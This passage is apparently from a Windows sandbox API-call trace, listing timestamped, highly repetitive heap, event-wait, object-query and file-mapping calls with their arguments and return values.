0x0 [0072.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.135] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.135] ResetEvent (hEvent=0x110) returned 1 [0072.135] SetEvent (hEvent=0x114) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.136] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.136] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.136] ResetEvent (hEvent=0x110) returned 1 [0072.136] SetEvent (hEvent=0x114) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.136] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.136] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.136] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.136] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.136] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.136] ResetEvent (hEvent=0x110) returned 1 [0072.136] SetEvent (hEvent=0x114) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.136] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.137] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.137] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.137] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.137] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.137] ResetEvent (hEvent=0x110) returned 1 [0072.137] SetEvent (hEvent=0x114) returned 1 [0072.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.137] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.137] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.137] ResetEvent (hEvent=0x110) returned 1 [0072.137] SetEvent (hEvent=0x114) returned 1 [0072.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.137] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.137] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.138] ResetEvent (hEvent=0x110) returned 1 [0072.138] SetEvent (hEvent=0x114) returned 1 [0072.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.138] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.138] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.138] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.138] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.138] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.138] ResetEvent (hEvent=0x110) returned 1 [0072.138] SetEvent (hEvent=0x114) returned 1 [0072.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.138] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.138] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.138] ResetEvent (hEvent=0x110) returned 1 [0072.138] SetEvent (hEvent=0x114) returned 1 [0072.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.139] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.139] ResetEvent (hEvent=0x110) returned 1 [0072.139] SetEvent (hEvent=0x114) returned 1 [0072.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.139] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.139] ResetEvent (hEvent=0x110) returned 1 [0072.139] SetEvent (hEvent=0x114) returned 1 [0072.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.139] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.140] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.140] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.140] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.140] ResetEvent (hEvent=0x110) returned 1 [0072.140] SetEvent (hEvent=0x114) returned 1 [0072.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.140] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.140] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.140] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.140] ResetEvent (hEvent=0x110) returned 1 [0072.140] SetEvent (hEvent=0x114) returned 1 [0072.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.140] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.140] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.140] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.140] ResetEvent (hEvent=0x110) returned 1 [0072.140] SetEvent (hEvent=0x114) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.141] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.141] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.141] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.141] ResetEvent (hEvent=0x110) returned 1 [0072.141] SetEvent (hEvent=0x114) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.141] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.141] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.141] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.141] ResetEvent (hEvent=0x110) returned 1 [0072.141] SetEvent (hEvent=0x114) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.141] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.142] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.142] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.142] ResetEvent (hEvent=0x110) returned 1 [0072.142] SetEvent (hEvent=0x114) returned 1 [0072.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.142] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.142] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.142] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.142] ResetEvent (hEvent=0x110) returned 1 [0072.142] SetEvent (hEvent=0x114) returned 1 [0072.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.142] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.142] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.142] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.142] ResetEvent (hEvent=0x110) returned 1 [0072.142] SetEvent (hEvent=0x114) returned 1 [0072.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.143] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.143] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.143] ResetEvent (hEvent=0x110) returned 1 [0072.143] SetEvent (hEvent=0x114) returned 1 [0072.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.143] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.143] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.143] ResetEvent (hEvent=0x110) returned 1 [0072.143] SetEvent (hEvent=0x114) returned 1 [0072.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.143] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.143] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.143] ResetEvent (hEvent=0x110) returned 1 [0072.144] SetEvent (hEvent=0x114) returned 1 [0072.144] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.144] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.144] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.144] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.144] ResetEvent (hEvent=0x110) returned 1 [0072.144] SetEvent (hEvent=0x114) returned 1 [0072.144] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.144] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.144] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.144] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.144] ResetEvent (hEvent=0x110) returned 1 [0072.144] SetEvent (hEvent=0x114) returned 1 [0072.144] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.144] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.145] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.145] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.145] ResetEvent (hEvent=0x110) returned 1 [0072.145] SetEvent (hEvent=0x114) returned 1 [0072.145] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.145] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.145] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.145] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.145] ResetEvent (hEvent=0x110) returned 1 [0072.145] SetEvent (hEvent=0x114) returned 1 [0072.145] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.145] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.145] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.145] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.145] ResetEvent (hEvent=0x110) returned 1 [0072.145] SetEvent (hEvent=0x114) returned 1 [0072.145] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.146] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.146] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.146] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.146] ResetEvent (hEvent=0x110) returned 1 [0072.146] SetEvent (hEvent=0x114) returned 1 [0072.146] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.146] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.146] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.146] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.146] ResetEvent (hEvent=0x110) returned 1 [0072.146] SetEvent (hEvent=0x114) returned 1 [0072.146] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.146] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.146] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.147] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.147] ResetEvent (hEvent=0x110) returned 1 [0072.147] SetEvent (hEvent=0x114) returned 1 [0072.147] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.147] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.147] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.147] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.147] ResetEvent (hEvent=0x110) returned 1 [0072.147] SetEvent (hEvent=0x114) returned 1 [0072.147] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.147] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.147] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.147] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.147] ResetEvent (hEvent=0x110) returned 1 [0072.160] SetEvent (hEvent=0x114) returned 1 [0072.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.160] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.160] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.160] ResetEvent (hEvent=0x110) returned 1 [0072.160] SetEvent (hEvent=0x114) returned 1 [0072.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.160] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.160] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.160] ResetEvent (hEvent=0x110) returned 1 [0072.160] SetEvent (hEvent=0x114) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.195] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.195] ResetEvent (hEvent=0x110) returned 1 [0072.195] SetEvent (hEvent=0x114) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.195] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.195] ResetEvent (hEvent=0x110) returned 1 [0072.195] SetEvent (hEvent=0x114) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.195] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.196] ResetEvent (hEvent=0x110) returned 1 [0072.196] SetEvent (hEvent=0x114) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.196] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.196] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.196] ResetEvent (hEvent=0x110) returned 1 [0072.196] SetEvent (hEvent=0x114) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.196] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.196] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.196] ResetEvent (hEvent=0x110) returned 1 [0072.196] SetEvent (hEvent=0x114) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.197] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.197] NtQueryObject (in: Handle=0xec, 